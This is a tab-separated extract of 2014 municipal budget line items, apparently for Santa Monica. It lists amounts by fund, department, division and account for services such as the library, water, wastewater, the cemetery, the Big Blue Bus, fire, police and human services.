9830	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401630.0	LIBRARY COPIERS AND PRINTERS	612.0	Charges for Service	2014	-32000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32000.0
9831	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401640.0	LIBRARY MEETING ROOM RENTAL	618.0	Rentals	2014	-47000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-47000.0
9832	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2014	75.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75.0
9833	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522950.0	CNG FUEL		 Supplies and Expenses	2014	3137.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3137.0
9834	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2014	260700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	260700.0
9835	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	60600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	60600.0
9836	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522180.0	BANK FEES		 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9837	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	2758.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2758.0
9838	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2014	7896.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7896.0
9839	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS	908.0	 Supplies and Expenses	2014	-79763.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-79763.0
9840	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	-575000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-575000.0
9841	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522950.0	CNG FUEL	812.0	 Supplies and Expenses	2014	1100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1100.0
9842	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	1570.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1570.0
9843	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
9844	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	572926.0	0	0	0	0.0	9545	-375.0	0	0	0	0	0.0	582096.0
9845	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522180.0	BANK FEES		 Supplies and Expenses	2014	28000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	28000.0
9846	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	544111.0	PROMOTIONAL ITEMS		 Supplies and Expenses	2014	6406.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6406.0
9847	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2014	57400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	57400.0
9848	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	1065412.0	0	0	0	0.0	15647	-63.0	0	0	0	0	0.0	1080996.0
9849	B1	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	66767.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66767.0
9850	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	95489.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	95489.0
9851	B1	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	107121.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	107121.0
9852	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	4815.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4815.0
9853	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2014	201955.0	0	0	0	0.0	0	2131.0	0	0	0	0	0.0	204086.0
9854	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
9855	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	1138183.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1138183.0
9856	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	409912.76	0	0	0	0.0	0	0.0	0	0	0	0	0.0	409912.76
9857	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	666368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	666368.0
9858	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533180.0	TRANSFER STATION OPERATIONS	808.0	 Supplies and Expenses	2014	19000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19000.0
9859	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544270.0	BIN PARTS	808.0	 Supplies and Expenses	2014	40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40000.0
9860	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511490.0	OVERTIME	808.0	Salaries and Wages	2014	5388.0	0	0	0	0.0	0	288.0	0	0	0	0	0.0	5676.0
9861	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	123	0.0	0	0	0	0	0.0	723.0
9862	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	11589.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11589.0
9863	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
9864	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	1545042.0	0	0	0	0.0	24432	-306.0	0	0	0	0	0.0	1569168.0
9865	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2014	2091.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2091.0
9866	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
9867	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2014	1055348.74	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1055348.74
9868	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2014	22000.0	0	0	0	0.0	1055	0.0	0	0	0	0	0.0	23055.0
9869	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522140.0	WATER PURCHASES	852.0	 Supplies and Expenses	2014	5125500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5125500.0
9870	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9871	B1	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	2563.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2563.0
9872	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	42380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	42380.0
9873	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2014	1046.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1046.0
9874	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	187298.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	187298.0
9875	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2014	82300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82300.0
9876	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2014	82300.0	0	0	0	0.0	4311	0.0	0	0	0	0	0.0	86611.0
9877	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	2400000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2400000.0
9878	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2014	15600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15600.0
9879	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	16000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16000.0
9880	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2014	17000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17000.0
9881	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9882	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555220.0	UNIFORM RENTAL	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
9883	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2014	300442.5	0	0	0	0.0	0	0.0	0	0	0	0	0.0	300442.5
9884	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522620.0	RENT	866.0	 Supplies and Expenses	2014	102000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	102000.0
9885	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522320.0	METERED POSTAGE	848.0	 Supplies and Expenses	2014	12000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12000.0
9886	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2014	387860.88	0	0	0	0.0	0	0.0	0	0	0	0	0.0	387860.88
9887	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555030.0	EMPLOYEE MEDICAL EXAMS	844.0	 Supplies and Expenses	2014	4000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4000.0
9888	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511740.0	EMPLOYEE HEALTH INSURANCE	820.0	Salaries and Wages	2014	1021000.0	0	0	0	0.0	0	0.0	0	0	-1021000	0	0.0	0.0
9889	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511748.0	DENTAL	804.0	Salaries and Wages	2014	9304.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9304.0
9890	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566940.0	PARKING AUTHORITY REV BOND	910.0	 Supplies and Expenses	2014	1134586.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1134586.0
9891	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-98910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-98910.0
9892	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	910.0	 Supplies and Expenses	2014	113192.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	113192.0
9893	B1	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522040.0	INSURANCE AND BONDS	860.0	 Supplies and Expenses	2014	900000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900000.0
9894	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562122.0	CHILD CARE CTR SUPPORT PROG		 Supplies and Expenses	2014	80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80000.0
9895	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562154.0	FM SVC SM-SAPID & ON THE MOVE		 Supplies and Expenses	2014	43398.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43398.0
9896	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563111.0	WISE CONNECTIONS		 Supplies and Expenses	2014	46586.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46586.0
9897	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563141.0	SM/MAL-MEALS ON WHEELS-GEN FND		 Supplies and Expenses	2014	48973.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48973.0
9898	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	565161.0	VENICE FAMILY CLINIC-GEN FUND		 Supplies and Expenses	2014	93319.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93319.0
9899	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407630.0	CONSTRUCTION & DEMO PERMIT FEE	650.0	Charges for Service	2014	-229537.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-229537.0
9900	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		SAFETY EXPENSES		 Supplies and Expenses	2014	1579.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1579.0
9901	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	544280.0	HAZ-MAT SUPPLIES	806.0	 Supplies and Expenses	2014	9225.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9225.0
9902	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	129737.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	129737.0
9903	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	169859.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	169859.0
9904	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	57438.0	0	0	0	0.0	819	0.0	0	0	0	0	0.0	58257.0
9905	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	36347.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36347.0
9906	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	371471.0	0	0	0	-2899.0	5454	-1970.0	0	0	0	0	0.0	372056.0
9907	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	10352.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10352.0
9908	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	658998.0	0	0	0	0.0	9953	0.0	0	0	0	0	0.0	668951.0
9909	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	475932.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	475932.0
9910	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	87045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	87045.0
9911	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	160765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	160765.0
9912	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	82729.0	0	0	0	0.0	1128	2944.34	0	0	0	0	0.0	86801.34
9913	B1	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511748.0	DENTAL	806.0	Salaries and Wages	2014	112079.0	0	0	0	0.0	0	375.0	0	0	0	0	0.0	112454.0
9914	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511749.0	VISION	804.0	Salaries and Wages	2014	1158.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1158.0
9915	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511749.0	VISION	804.0	Salaries and Wages	2014	1233.0	0	0	0	0.0	0	54.17	0	0	0	0	0.0	1287.17
9916	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	910.0	 Supplies and Expenses	2014	100000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100000.0
9917	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	7396849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7396849.0
9918	B1	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2014	4809.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4809.0
9919	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	891309.0	0	0	0	0.0	9759	0.0	0	0	0	0	0.0	901068.0
9920	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9921	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
9922	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522546.0	MEDIA BUYS		 Supplies and Expenses	2014	18081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18081.0
9923	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	8700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8700.0
9924	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	577065.0	MEMBERSHIP FEES		 Supplies and Expenses	2014	769.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	769.0
9925	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404210.0	OTHER OPER REV-ADVERTISING	650.0	Charges for Service	2014	-1413000.0	0	0	0	0.0	0	-287000.0	0	0	0	0	0.0	-1700000.0
9926	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407340.0	US TREASURY REIMBURSEMENTS	610.0	Intergovernmental	2014	-52275.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-52275.0
9927	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2014	-45990.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-45990.0
9928	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	577066.0	DELIVERY CHARGES		 Supplies and Expenses	2014	3000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3000.0
9929	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522986.0	CNG FUEL-SERVICE VEHICLES		 Supplies and Expenses	2014	10250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10250.0
9930	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	16950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16950.0
9931	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	4987.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4987.0
9932	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2014	23142.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23142.0
9933	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544171.0	PARTICIPANT UNIFORMS	810.0	 Supplies and Expenses	2014	4106.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4106.0
9934	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	2051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2051.0
9935	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2014	30765.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30765.0
9936	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	1627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1627.0
9937	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2014	1059.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1059.0
9938	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	4520152.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4520152.0
9939	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511490.0	OVERTIME		Salaries and Wages	2014	5050.0	0	0	0	0.0	0	63.0	0	0	0	0	0.0	5113.0
9940	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407030.0	PROP C FOOTHILL MITIGATION	658.0	Sales Tax	2014	-543804.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-543804.0
9941	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	555020.0	OUTSIDE SERVICE-SECURITY		 Supplies and Expenses	2014	466000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	466000.0
9942	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	901347.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	901347.0
9943	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PRINTING - GENERAL		 Supplies and Expenses	2014	500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	500.0
9944	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
9945	B1	IS	19	CDBG Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNREALIZED GAIN / LOSS	616.0	Investment Income	2014	-1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1000.0
9946	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	577130.0	CONSUMER PROTECTION UNIT	804.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	39238.34	0	0	0	0	0.0	54238.34
9947	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	625793.0	0	0	0	0.0	66602	-425.0	0	0	0	0	0.0	691970.0
9948	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	4038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4038.0
9949	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	16120.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16120.0
